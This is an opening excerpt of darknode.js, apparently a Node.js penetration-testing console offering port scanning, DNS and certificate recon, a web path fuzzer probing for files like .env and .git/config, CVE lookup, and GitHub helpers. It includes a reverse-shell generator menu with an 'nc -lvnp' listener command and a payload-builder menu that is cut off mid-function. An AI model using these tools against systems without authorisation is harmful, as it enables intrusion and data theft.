Repository navigation
Expand file tree
/
Copy pathdarknode.js
More file actions
executable file
·4218 lines (4166 loc) · 449 KB
/
Copy pathdarknode.js
File metadata and controls
executable file
·4218 lines (4166 loc) · 449 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env node
"use strict";
/*!
* Darknode — Terminal Edition
* AI-powered security platform CLI for Windows and Linux.
* Uses only Node.js built-ins. Copyright (c) 2026 Darknode. All rights reserved.
* Use only on systems you own or are explicitly authorized to test.
*/
const net = require("net");
const tls = require("tls");
const http = require("http");
const https = require("https");
const { execFile, spawn } = require("child_process");
const crypto = require("crypto");
const readline = require("readline");
const os = require("os");
const dnsp = require("dns").promises;
const VERSION = "2.45.0";
// ---- backward compat: accept old SENTINEL_* env vars as DARKNODE_* ----
for (const k of Object.keys(process.env)) { if (k.startsWith("SENTINEL_") && !process.env["DARKNODE_" + k.slice(9)]) process.env["DARKNODE_" + k.slice(9)] = process.env[k]; }
// ---------- colors ----------
const useColor = process.stdout.isTTY && !process.env.NO_COLOR;
let tuiActive = false; // set while the full-screen TUI owns the terminal, so the global SIGINT handler defers to the TUI's own cleanup
const A = { reset: "\x1b[0m", b: "\x1b[1m", dim: "\x1b[2m", cyan: "\x1b[36m", green: "\x1b[32m", red: "\x1b[31m", yellow: "\x1b[33m", mag: "\x1b[35m", gray: "\x1b[90m", blue: "\x1b[34m" };
const p = (code, s) => (useColor ? code + s + A.reset : s);
const cyan = (s) => p(A.cyan, s), green = (s) => p(A.green, s), red = (s) => p(A.red, s), yellow = (s) => p(A.yellow, s), gray = (s) => p(A.gray, s), bold = (s) => p(A.b, s), mag = (s) => p(A.mag, s), blue = (s) => p(A.blue, s), dim = (s) => p(A.dim, s);
const { frameDiff, wordHi } = require("./lib/cli/diff"); // terminal render helpers (lib/diff.js)
const { loopDecision, clampRounds, loopPrompt } = require("./lib/nexus/loop"); // autonomous /loop controller (lib/loop.js)
const { CMD_MAP } = require("./lib/cli/registry"); // data-driven command registry (lib/registry.js)
const { totp, secondsRemaining } = require("./lib/toolkit/totp"); // TOTP 2FA codes (lib/totp.js)
// ---------- data ----------
const { SERVICES } = require("./lib/toolkit/ports"); // port<->service map, used by scan (lib/ports.js)
const { digests, genPass } = require("./lib/toolkit/hashing"); // hash digests + password gen (lib/hashing.js)
const { COMMAND_GROUPS, renderCommands, documentedVerbs } = require("./lib/cli/reference"); // help catalog = single source of truth (lib/reference.js)
// Documented darknode verbs NOT bridged into the Nexus TUI as /commands: they
// block (server/listener), prompt for input, or already have a richer in-TUI
// handler. Everything else documented becomes a slash command automatically.
const NEXUS_NO_BRIDGE = new Set(["nexus", "code", "ai", "serve", "listen", "login", "setup", "git", "lab", "api"]);
const { parsePorts, idHash, parseCve } = require("./lib/toolkit/scanutil"); // security-console core logic (lib/scanutil.js)
const { SHELLS, revshell } = require("./lib/toolkit/revshell"); // reverse-shell payloads (lib/revshell.js)
const { CHEATS } = require("./lib/toolkit/cheats"); // command cheat-sheets by topic (lib/cheats.js)
const TOOLS = [
["nmap", "Recon", "sudo apt install -y nmap"],
["masscan", "Recon", "sudo apt install -y masscan"],
["gobuster", "Web", "sudo apt install -y gobuster"],
["ffuf", "Web", "sudo apt install -y ffuf"],
["nuclei", "Web", "go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"],
["sqlmap", "Web", "sudo apt install -y sqlmap"],
["hydra", "Passwords", "sudo apt install -y hydra"],
["hashcat", "Passwords", "sudo apt install -y hashcat"],
["john", "Passwords", "sudo apt install -y john"],
["metasploit", "Exploit", "sudo apt install -y metasploit-framework"],
["impacket", "Post-ex", "pipx install impacket"],
["crackmapexec", "Post-ex", "pipx install crackmapexec"],
];
// ---------- helpers ----------
function banner() {
const art = [
" ██████╗ █████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ██████╗ ███████╗",
" ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝████╗ ██║██╔═══██╗██╔══██╗██╔════╝",
" ██║ ██║███████║██████╔╝█████╔╝ ██╔██╗ ██║██║ ██║██║ ██║█████╗ ",
" ██║ ██║██╔══██║██╔══██╗██╔═██╗ ██║╚██╗██║██║ ██║██║ ██║██╔══╝ ",
" ██████╔╝██║ ██║██║ ██║██║ ██╗██║ ╚████║╚██████╔╝██████╔╝███████╗",
" ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚══════╝",
];
// smooth vertical cyan → violet → magenta gradient (256-color, falls back to plain)
const grad = ["38;5;51", "38;5;45", "38;5;44", "38;5;99", "38;5;134", "38;5;170"];
console.log("");
if (useColor) art.forEach((l, i) => console.log("\x1b[1;" + grad[i] + "m" + l + "\x1b[0m"));
else art.forEach((l) => console.log(l));
console.log(" " + gray("╭─ ") + bold(cyan("security console")) + gray(" · terminal edition · ") + mag("v" + VERSION) + gray(" · ") + gray(os.platform() + "/" + os.arch()));
console.log(" " + gray("╰─ ") + dim("only what you own or are authorized to test.") + "\n");
}
const rl = () => readline.createInterface({ input: process.stdin, output: process.stdout });
function ask(q) { return new Promise((res) => { const r = rl(); r.question(cyan(" " + q + " "), (a) => { r.close(); res(a.trim()); }); }); }
// Claude-Code-style bordered chat input box.
function chatInput() {
return new Promise((res) => {
const W = 58;
process.stdout.write(cyan(" ╭─ ") + gray("you") + cyan(" " + "─".repeat(W - 6) + "╮") + "\n");
const r = rl();
r.question(cyan(" │ ") + mag("› "), (a) => {
r.close();
process.stdout.write(cyan(" ╰" + "─".repeat(W) + "╯") + "\n\n");
res(a.trim());
});
});
}
function h1(t) { console.log("\n " + bold(cyan("▌ " + t)) + "\n"); }
function ok(s) { return green("● ") + s; }
function copyHint(cmd) { console.log(" " + cmd); }
// ---------- port scanner ----------
function scan(host, ports, timeout = 900, conc = 250) {
return new Promise((resolve) => {
const open = []; let idx = 0, done = 0;
const total = ports.length;
const tick = () => { if (process.stdout.isTTY) { readline.clearLine(process.stdout, 0); readline.cursorTo(process.stdout, 0); process.stdout.write(" " + gray(`scanned ${done}/${total} · ${open.length} open`)); } };
const probe = (port) => new Promise((r) => {
const s = new net.Socket(); let fin = false, banner = "";
const end = (isOpen) => { if (fin) return; fin = true; try { s.destroy(); } catch (_) {}
if (isOpen) { open.push(port); if (process.stdout.isTTY) { readline.clearLine(process.stdout, 0); readline.cursorTo(process.stdout, 0); } console.log(" " + green(String(port).padEnd(7)) + (SERVICES[port] || "").padEnd(12) + gray(banner.slice(0, 60))); }
r(); };
s.setTimeout(timeout);
s.once("connect", () => { s.once("data", (d) => { banner = d.toString("utf8").replace(/[^\x20-\x7e]/g, " ").trim(); end(true); }); setTimeout(() => end(true), 150); });
s.once("timeout", () => end(false));
s.once("error", () => end(false));
try { s.connect(port, host); } catch (_) { end(false); }
});
const worker = async () => { while (true) { const i = idx++; if (i >= total) return; await probe(ports[i]); done++; tick(); } };
console.log(" " + gray(`PORT SERVICE BANNER`));
Promise.all(Array.from({ length: Math.min(conc, total) }, worker)).then(() => {
if (process.stdout.isTTY) { readline.clearLine(process.stdout, 0); readline.cursorTo(process.stdout, 0); }
console.log(" " + ok(`${open.length} open port${open.length === 1 ? "" : "s"} on ${host}`));
if (open.length) console.log(" " + gray("nmap: ") + `nmap -sV -sC -p ${open.join(",")} ${host}`);
resolve(open);
});
});
}
// ---------- encoders / hashes ----------
const { ENC } = require("./lib/toolkit/encoders"); // encode/decode op map, shared with the menu (lib/encoders.js)
function hashes(s) { return digests(s).map(([a, hex]) => " " + a.padEnd(8) + cyan(hex)).join("\n"); }
// ---------- recon: DNS / WHOIS / headers ----------
async function dnsLookup(host) {
host = host.replace(/^https?:\/\//, "").split("/")[0];
const kinds = [["A", "resolve4"], ["AAAA", "resolve6"], ["MX", "resolveMx"], ["NS", "resolveNs"], ["TXT", "resolveTxt"], ["CNAME", "resolveCname"]];
const out = [];
for (const [label, fn] of kinds) { try { for (const v of (await dnsp[fn](host)) || []) out.push([label, label === "MX" ? v.priority + " " + v.exchange : Array.isArray(v) ? v.join("") : v]); } catch (_) {} }
try { const a = await dnsp.resolve4(host); if (a[0]) for (const ptr of (await dnsp.reverse(a[0]).catch(() => [])) || []) out.push(["PTR", ptr]); } catch (_) {}
return out;
}
function whoisAsk(server, query) {
return new Promise((res) => { const s = net.connect(43, server); let data = ""; s.setTimeout(9000);
s.on("connect", () => s.write(query + "\r\n")); s.on("data", (d) => (data += d.toString()));
s.on("end", () => res(data)); s.on("timeout", () => { try { s.destroy(); } catch (_) {} res(data); }); s.on("error", () => res(data)); });
}
async function whois(query) {
query = query.replace(/^https?:\/\//, "").split("/")[0];
let t = await whoisAsk("whois.iana.org", query);
const ref = (t.match(/refer:\s*(\S+)/i) || [])[1] || (t.match(/whois:\s*(\S+)/i) || [])[1];
if (ref) { const m = await whoisAsk(ref, query); if (m && m.trim()) t = m; }
return t.trim();
}
const SEC = [["strict-transport-security", "HSTS"], ["content-security-policy", "CSP"], ["x-frame-options", "X-Frame-Options"], ["x-content-type-options", "X-Content-Type-Options"], ["referrer-policy", "Referrer-Policy"], ["permissions-policy", "Permissions-Policy"]];
async function headers(url) {
if (!/^https?:\/\//.test(url)) url = "https://" + url;
// engagement mode: a redirect could leave scope, so never follow one
const r = await fetch(url, { redirect: process.env.DARKNODE_ENGAGEMENT ? "manual" : "follow" }).catch((e) => ({ __err: e.message }));
if (r.__err) return { err: r.__err };
const h = {}; r.headers.forEach((v, k) => (h[k] = v));
return { status: r.status, server: h.server || "?", h };
}
function certInspect(host) {
host = host.replace(/^https?:\/\//, "").split("/")[0];
return new Promise((res) => {
let done = false; const fin = (v) => { if (done) return; done = true; res(v); };
const s = tls.connect({ host, port: 443, servername: host, rejectUnauthorized: false, timeout: 9000 }, () => {
const c = s.getPeerCertificate(false), flat = (o) => Object.entries(o || {}).map(([k, v]) => k + "=" + v).join(", ");
fin({ ok: true, protocol: s.getProtocol(), cipher: (s.getCipher() || {}).name, subject: flat(c.subject), issuer: flat(c.issuer), valid_from: c.valid_from, valid_to: c.valid_to, san: (c.subjectaltname || "").replace(/DNS:/g, ""), serial: c.serialNumber, fp: c.fingerprint256, daysLeft: c.valid_to ? Math.round((new Date(c.valid_to) - Date.now()) / 86400000) : null });
s.end();
});
s.on("error", (e) => fin({ ok: false, error: e.message }));
s.on("timeout", () => { try { s.destroy(); } catch (_) {} fin({ ok: false, error: "timeout" }); });
});
}
async function subs(domain) {
domain = domain.replace(/^https?:\/\//, "").split("/")[0].toLowerCase();
const ctrl = new AbortController(), to = setTimeout(() => ctrl.abort(), 20000);
try {
const r = await fetch("https://crt.sh/?q=%25." + encodeURIComponent(domain) + "&output=json", { signal: ctrl.signal, headers: { "User-Agent": "Darknode" } });
const txt = await r.text(); let data;
try { data = JSON.parse(txt); } catch { return { err: "crt.sh is busy — try again in a moment" }; }
const set = new Set();
for (const e of data) for (const n of String(e.name_value || "").split("\n")) { const s = n.trim().toLowerCase(); if (s && !s.includes("*") && (s === domain || s.endsWith("." + domain))) set.add(s); }
return [...set].sort();
} catch (e) { return { err: e.name === "AbortError" ? "crt.sh timed out" : e.message }; }
finally { clearTimeout(to); }
}
// ---------- content fuzzer ----------
const COMMON_PATHS = ["admin", "administrator", "login", "logout", "register", "dashboard", "api", "api/v1", "v1", "v2", ".git", ".git/config", ".env", "config", "config.php", "wp-admin", "wp-login.php", "wp-content", "phpmyadmin", "robots.txt", "sitemap.xml", "backup", "backups", "backup.zip", "db", "database", "dump.sql", "test", "dev", "staging", "uploads", "images", "assets", "js", "css", "includes", "tmp", "old", ".htaccess", ".htpasswd", "server-status", "status", "health", "healthz", "metrics", "actuator", "actuator/health", "swagger", "swagger-ui", "api-docs", "graphql", "console", "debug", "info.php", "phpinfo.php", "README.md", "CHANGELOG.md", "LICENSE", ".DS_Store", "web.config", "crossdomain.xml", ".well-known/security.txt", "users", "user", "account", "profile", "settings", "private", "secret", "internal", "portal", "cpanel", "webmail", "mail", "ftp", "git", "svn", ".svn", "vendor", "composer.json", "package.json", "Dockerfile", "docker-compose.yml", ".gitignore", "error_log", "logs", "log"];
function headReq(url, to) {
return new Promise((res) => {
let u; try { u = new URL(url); } catch (_) { return res(null); }
const lib = u.protocol === "https:" ? https : http;
const req = lib.request(u, { method: "GET", timeout: to || 8000, rejectUnauthorized: false, headers: { "User-Agent": "Darknode" } }, (r) => { const o = { status: r.statusCode, len: r.headers["content-length"] || "", loc: r.headers["location"] || "" }; r.destroy(); res(o); });
req.on("timeout", () => { req.destroy(); res(null); });
req.on("error", () => res(null));
req.end();
});
}
async function fuzz(base, wlFile) {
if (!base) { console.log(" " + red("usage: fuzz <url> [wordlist-file]")); return; }
if (!/^https?:\/\//i.test(base)) base = "http://" + base;
base = base.replace(/\/+$/, "");
let words = COMMON_PATHS;
if (wlFile) { try { words = require("fs").readFileSync(wlFile, "utf8").split("\n").map((s) => s.trim()).filter(Boolean); } catch (_) { console.log(" " + red("can't read " + wlFile)); return; } }
console.log(" " + gray("fuzzing " + base + " (" + words.length + " paths)"));
let idx = 0, found = 0;
const color = (s) => s < 300 ? green : s < 400 ? cyan : (s === 401 || s === 403) ? yellow : gray;
const probe = async (w) => { const r = await headReq(base + "/" + w.replace(/^\//, ""), 8000); if (r && r.status && r.status !== 404) { found++; console.log(" " + color(r.status)(String(r.status)) + " /" + w.replace(/^\//, "") + gray(r.loc ? " -> " + r.loc : (r.len ? " " + r.len + "b" : ""))); } };
const worker = async () => { while (true) { const i = idx++; if (i >= words.length) return; await probe(words[i]); } };
await Promise.all(Array.from({ length: Math.min(25, words.length) }, worker));
console.log(" " + ok(found + " path" + (found === 1 ? "" : "s") + " found on " + base));
}
// ---------- CVE search (NVD) ----------
async function cveSearch(q) {
q = (q || "").trim();
if (!q) { console.log(" " + red("usage: cve <keyword or CVE-id>")); return; }
const isId = /^CVE-\d{4}-\d+$/i.test(q);
const url = "https://services.nvd.nist.gov/rest/json/cves/2.0?" + (isId ? "cveId=" + q.toUpperCase() : "keywordSearch=" + encodeURIComponent(q)) + "&resultsPerPage=15";
console.log(" " + gray("searching NVD..."));
const r = await fetch(url, { headers: { "User-Agent": "Darknode" } }).catch((e) => ({ __err: e.message }));
if (r.__err) { console.log(" " + red(r.__err)); return; }
if (!r.ok) { console.log(" " + red(r.status + (r.status === 403 ? " — NVD rate limit, wait a moment" : " " + r.statusText))); return; }
const d = await r.json();
if (!d.vulnerabilities || !d.vulnerabilities.length) { console.log(" " + gray("no results")); return; }
console.log(" " + gray(d.totalResults + " total, showing " + Math.min(15, d.vulnerabilities.length)));
d.vulnerabilities.slice(0, 15).forEach((v) => { const c = parseCve(v); const tag = c.score ? " [" + c.sev + " " + c.score + "]" : ""; console.log(" " + cyan(c.id) + yellow(tag) + " " + c.desc.slice(0, 78)); });
}
// ---------- GitHub (system git + token) ----------
function sh(args, opts) { return new Promise((res) => execFile("git", args, { maxBuffer: 1e7, ...opts }, (err, stdout, stderr) => res({ err, stdout, stderr }))); }
const ghToken = () => process.env.DARKNODE_GH_TOKEN || process.env.GITHUB_TOKEN || "";
const ghAuth = (url, t) => (t && /^https:\/\//i.test(url)) ? url.replace(/^https:\/\//i, "https://" + t + "@") : url;
const ghScrub = (s, t) => String(s || "").split(t || " __none__").join("***").trim();
async function gitClone(url) {
if (!/^https:\/\//i.test(url)) { console.log(" " + red("use an https repo URL")); return; }
const t = ghToken(), name = (url.split("/").pop() || "repo").replace(/\.git$/, "");
console.log(" " + gray("cloning " + name + "..."));
const r = await sh(["clone", ghAuth(url, t), name]);
if (r.err) { console.log(" " + red(ghScrub(r.stderr || r.err.message, t))); return; }
await sh(["-C", name, "remote", "set-url", "origin", url]);
console.log(" " + ok("cloned into ./" + name));
}
async function gitPush(msg) {
const t = ghToken();
await sh(["add", "-A"]);
await sh(["-c", "user.name=Darknode", "-c", "user.email=darknode@local", "commit", "-m", msg || "Update via Darknode"]);
const remote = (await sh(["remote", "get-url", "origin"])).stdout.trim();
const branch = (await sh(["rev-parse", "--abbrev-ref", "HEAD"])).stdout.trim();
const p = await sh(["push", ghAuth(remote, t), "HEAD:" + branch]);
console.log(" " + (p.err ? red(ghScrub(p.stderr || p.err.message, t)) : ok("pushed to " + branch)));
}
async function gitStatus() { const r = await sh(["status", "--short", "-b"]); console.log((r.stdout || r.stderr || "").trim().split("\n").map((l) => " " + l).join("\n")); }
async function gitPull() {
const t = ghToken(), remote = (await sh(["remote", "get-url", "origin"])).stdout.trim();
const r = await sh(["pull", ghAuth(remote, t)]);
console.log(" " + (r.err ? red(ghScrub(r.stderr || r.err.message, t)) : ok("pulled\n " + (r.stdout || "").trim())));
}
async function ghApiJson(path, method, body) {
const t = ghToken();
const opt = { method: method || "GET", headers: { Accept: "application/vnd.github+json", "User-Agent": "Darknode" } };
if (t) opt.headers.Authorization = "Bearer " + t;
if (body) { opt.body = JSON.stringify(body); opt.headers["Content-Type"] = "application/json"; }
const r = await fetch("https://api.github.com" + path, opt).catch((e) => ({ __err: e.message }));
if (r.__err) return { err: r.__err };
if (!r.ok) return { err: r.status + " " + r.statusText };
return { data: await r.json() };
}
async function gitBranches() { const r = await sh(["branch", "-a"]); console.log((r.stdout || r.stderr || "").replace(/^/gm, " ").trimEnd()); }
async function gitLog() { const r = await sh(["log", "--oneline", "-20", "--no-color"]); console.log((r.stdout || r.stderr || "no commits").replace(/^/gm, " ").trimEnd()); }
async function gitDiff(file) { const r = await sh(file ? ["diff", "--no-color", "--", file] : ["diff", "--no-color"]); const t = (r.stdout || "").trimEnd(); console.log(t ? t : " " + gray("no working-tree changes")); }
async function ghNewIssue(repo, title, body) {
if (!repo || !repo.includes("/") || !title) { console.log(" " + red('usage: git issue <owner/repo> "title" ["body"]')); return; }
const r = await ghApiJson("/repos/" + repo + "/issues", "POST", { title, body: body || "" });
if (r.err) { console.log(" " + red(r.err)); return; }
console.log(" " + ok("created #" + r.data.number) + " " + gray(r.data.html_url));
}
async function ghNewPR(title, base) {
const remote = (await sh(["remote", "get-url", "origin"])).stdout.trim();
const m = remote.match(/github\.com[:/]([^/]+\/[^/.]+?)(?:\.git)?$/i), repo = m && m[1];
if (!repo) { console.log(" " + red("no github remote")); return; }
if (!title) { console.log(" " + red('usage: git pr "title" [base]')); return; }
const head = (await sh(["rev-parse", "--abbrev-ref", "HEAD"])).stdout.trim();
if (!base) { const ri = await ghApiJson("/repos/" + repo); base = (ri.data && ri.data.default_branch) || "main"; }
if (head === base) { console.log(" " + red("on base branch (" + base + ") — checkout a feature branch first")); return; }
const r = await ghApiJson("/repos/" + repo + "/pulls", "POST", { title, head, base, body: "" });
if (r.err) { console.log(" " + red(r.err)); return; }
console.log(" " + ok("created PR #" + r.data.number) + " " + gray(r.data.html_url));
}
async function ghComment(repo, num, body) {
if (!repo || !repo.includes("/") || !num || !body) { console.log(" " + red('usage: git comment <owner/repo> <number> "text"')); return; }
const r = await ghApiJson("/repos/" + repo + "/issues/" + num + "/comments", "POST", { body });
if (r.err) { console.log(" " + red(r.err)); return; }
console.log(" " + ok("commented on #" + num) + " " + gray(r.data.html_url));
}
async function ghGists() {
const r = await ghApiJson("/gists?per_page=30");
if (r.err) { console.log(" " + red(r.err)); return; }
if (!r.data.length) { console.log(" " + gray("no gists")); return; }
r.data.forEach((g) => console.log(" " + (g.public ? gray("public") : yellow("secret")) + " " + (Object.keys(g.files)[0] || "gist") + gray(" " + g.html_url)));
}
async function ghNewGist(file, desc) {
if (!file) { console.log(" " + red("usage: git gist <file> [description]")); return; }
let content; try { content = require("fs").readFileSync(file, "utf8"); } catch (_) { console.log(" " + red("can't read " + file)); return; }
const name = file.split(/[\\/]/).pop();
const r = await ghApiJson("/gists", "POST", { description: desc || "", public: true, files: { [name]: { content } } });
if (r.err) { console.log(" " + red(r.err)); return; }
console.log(" " + ok("gist created") + " " + gray(r.data.html_url));
}
async function gitCheckout(name) {
if (!name) { console.log(" " + red("usage: git checkout <branch>")); return; }
const r = await sh(["checkout", name]);
console.log(" " + (r.err ? red((r.stderr || r.err.message).trim()) : ok("switched to " + name)));
}
async function ghIssues(repo, kind) {
if (!repo || !repo.includes("/")) { console.log(" " + red("usage: git " + (kind === "pulls" ? "prs" : "issues") + " <owner/repo>")); return; }
const r = await ghApiJson("/repos/" + repo + "/" + (kind === "pulls" ? "pulls" : "issues") + "?state=open&per_page=25");
if (r.err) { console.log(" " + red(r.err)); return; }
const items = (kind === "pulls" ? r.data : r.data.filter((x) => !x.pull_request));
if (!items.length) { console.log(" " + gray("none open")); return; }
items.forEach((x) => console.log(" " + cyan((kind === "pulls" ? "PR#" : "#") + x.number) + " " + x.title + gray(" @" + (x.user ? x.user.login : "?"))));
}
async function ghReposList() {
const r = await ghApiJson("/user/repos?sort=updated&per_page=100");
if (r.err) { console.log(" " + red(r.err)); return; }
r.data.forEach((x) => console.log(" " + (x.private ? yellow("private") : gray("public ")) + " " + bold(x.full_name) + gray(" " + x.clone_url)));
}
async function ghNewRepo(name) {
if (!name) { console.log(" " + red("usage: git new <name>")); return; }
const r = await ghApiJson("/user/repos", "POST", { name, private: true, auto_init: true });
if (r.err) { console.log(" " + red(r.err)); return; }
console.log(" " + ok("created " + r.data.full_name) + "\n " + gray(r.data.clone_url));
}
// ---------- interactive menus ----------
async function menuScan() {
h1("Port scanner");
const host = await ask("host / IP:");
if (!host) return;
const spec = await ask("ports [top / 1-1024 / 80,443]:") || "top";
console.log("");
await scan(host, parsePorts(spec));
}
async function menuDns() {
h1("DNS lookup");
const host = await ask("domain:"); if (!host) return;
console.log("");
const recs = await dnsLookup(host);
if (!recs.length) { console.log(" " + red("no records found")); return; }
recs.forEach(([k, v]) => console.log(" " + cyan(k.padEnd(6)) + v));
}
async function menuWhois() {
h1("WHOIS");
const q = await ask("domain / IP:"); if (!q) return;
console.log("\n " + gray("querying whois..."));
const t = await whois(q); console.log("");
console.log(t.split("\n").slice(0, 60).map((l) => " " + l).join("\n"));
}
async function menuHeaders() {
h1("HTTP security headers");
const url = await ask("url:"); if (!url) return;
console.log("\n " + gray("fetching..."));
const r = await headers(url); console.log("");
if (r.err) { console.log(" " + red(r.err)); return; }
console.log(" " + ok(r.status + " · server: " + r.server));
SEC.forEach(([k, label]) => { const on = r.h[k] !== undefined; console.log(" " + (on ? green("●") : red("●")) + " " + label.padEnd(24) + (on ? gray(String(r.h[k]).slice(0, 60)) : gray("missing"))); });
}
async function menuCert() {
h1("TLS certificate");
const host = await ask("host:"); if (!host) return;
console.log("\n " + gray("connecting..."));
const c = await certInspect(host); console.log("");
if (!c.ok) { console.log(" " + red(c.error)); return; }
const d = c.daysLeft, exp = d == null ? "" : d < 0 ? red("EXPIRED " + -d + "d ago") : d < 21 ? yellow(d + "d left") : green(d + "d left");
console.log(" " + ok(c.protocol + " · " + c.cipher + " " + exp));
[["Subject", c.subject], ["Issuer", c.issuer], ["Valid", c.valid_from + " -> " + c.valid_to], ["SAN", c.san], ["Serial", c.serial], ["SHA-256", c.fp]].forEach(([k, v]) => console.log(" " + cyan(k.padEnd(9)) + gray(String(v))));
}
async function menuSubs() {
h1("Subdomains · certificate transparency");
const dom = await ask("domain:"); if (!dom) return;
console.log("\n " + gray("querying crt.sh..."));
const r = await subs(dom); console.log("");
if (r.err) { console.log(" " + red(r.err)); return; }
console.log(" " + ok(r.length + " subdomains"));
r.forEach((s) => console.log(" " + s));
}
async function menuGit() {
h1("GitHub");
console.log(" token: " + (ghToken() ? green("set (env)") : red("not set — export DARKNODE_GH_TOKEN=ghp_...")));
console.log(" actions: clone push pull status log diff branch checkout repos new issues prs issue pr comment gists gist\n");
const act = await ask("action:");
console.log("");
if (act === "clone") { const url = await ask("repo url:"); if (url) { console.log(""); await gitClone(url); } }
else if (act === "push") { const m = await ask("commit message:"); console.log(""); await gitPush(m); }
else if (act === "pull") await gitPull();
else if (act === "status") await gitStatus();
else if (act === "branch") await gitBranches();
else if (act === "checkout") { const b = await ask("branch:"); console.log(""); await gitCheckout(b); }
else if (act === "log") await gitLog();
else if (act === "diff") await gitDiff();
else if (act === "issue") { const r = await ask("owner/repo:"); const t = await ask("title:"); console.log(""); await ghNewIssue(r, t); }
else if (act === "repos") await ghReposList();
else if (act === "new") { const n = await ask("repo name:"); console.log(""); await ghNewRepo(n); }
else if (act === "issues") { const r = await ask("owner/repo:"); console.log(""); await ghIssues(r, "issues"); }
else if (act === "prs") { const r = await ask("owner/repo:"); console.log(""); await ghIssues(r, "pulls"); }
else if (act === "pr") { const t = await ask("title:"); console.log(""); await ghNewPR(t); }
else if (act === "comment") { const r = await ask("owner/repo:"); const n = await ask("issue #:"); const t = await ask("comment:"); console.log(""); await ghComment(r, n, t); }
else if (act === "gists") await ghGists();
else if (act === "gist") { const f = await ask("file path:"); console.log(""); await ghNewGist(f); }
else console.log(" " + red("unknown action"));
}
async function menuShell() {
h1("Reverse shell generator");
console.log(" langs: " + Object.keys(SHELLS).join(", ") + "\n");
const lang = (await ask("lang [bash]:")) || "bash";
const ip = (await ask("LHOST [10.0.0.1]:")) || "10.0.0.1";
const port = (await ask("LPORT [4444]:")) || "4444";
console.log("\n " + revshell(lang, ip, port) + "\n");
console.log(" " + gray("listener: ") + `nc -lvnp ${port}`);
}
async function menuEncode() {
h1("Encode / decode / hash");
console.log(" ops: b64e b64d hexe hexd urle urld hash hashid\n");
const op = await ask("op:");
const val = await ask("input:");
console.log("");
try {
if (op === "hash") console.log(hashes(val));
else if (op === "hashid") console.log(" " + cyan(idHash(val)));
else if (ENC[op]) console.log(" " + cyan(ENC[op](val)));
else console.log(" " + red("unknown op"));
} catch (e) { console.log(" " + red("error: " + e.message)); }
}
async function menuPayloads() {
h1("Payload builders");
const ip = (await ask("LHOST [10.0.0.1]:")) || "10.0.0.1";
